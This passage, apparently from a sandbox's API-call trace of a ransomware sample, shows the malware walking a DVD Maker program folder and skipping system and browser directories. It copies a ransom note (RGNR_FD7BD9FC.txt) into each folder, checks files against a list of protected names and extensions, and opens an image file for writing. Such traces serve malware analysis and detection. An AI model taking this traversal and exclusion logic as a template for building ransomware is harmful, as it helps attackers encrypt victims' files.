(lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0079.211] lstrcmpiW (lpString1="ResizingPanels", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="ResizingPanels", lpString2="..") returned 1 [0079.211] lstrcmpiW (lpString1="ResizingPanels", lpString2="Windows") returned -1 [0079.211] lstrcmpiW (lpString1="ResizingPanels", lpString2="Windows.old") returned -1 [0079.211] lstrcmpiW (lpString1="ResizingPanels", lpString2="Tor browser") returned -1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Internet Explorer") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Google") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Opera") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Opera Software") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Mozilla") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="Mozilla Firefox") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="$Recycle.Bin") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="ProgramData") returned 1 [0079.212] lstrcmpiW (lpString1="ResizingPanels", lpString2="All Users") returned 1 [0079.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.212] lstrcpyW (in: lpString1=0x1eb620, lpString2="ResizingPanels" | out: lpString1="ResizingPanels") returned="ResizingPanels" [0079.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" [0079.212] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\" [0079.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RGNR_FD7BD9FC.txt" [0079.212] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.216] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*" [0079.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.216] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.216] lstrcpyW (in: lpString1=0x1ea752, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8175a480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.217] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8175a480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="bandwidth.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="bandwidth.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="blackbars80.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="blackbars80.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.217] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.217] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.218] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.218] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.218] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0079.218] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2=".") returned 1 [0079.218] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="..") returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.218] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2=".") returned 1 [0079.218] lstrcmpiW (lpString1="Panel_Mask_PAL.wmv", lpString2="..") returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8175a480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.218] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.218] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8175a480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.218] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8175a480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8175a480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.218] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.218] lstrcpyW (in: lpString1=0x1eab66, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.218] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png") returned=".png" [0079.218] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0079.219] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.219] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0079.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.220] 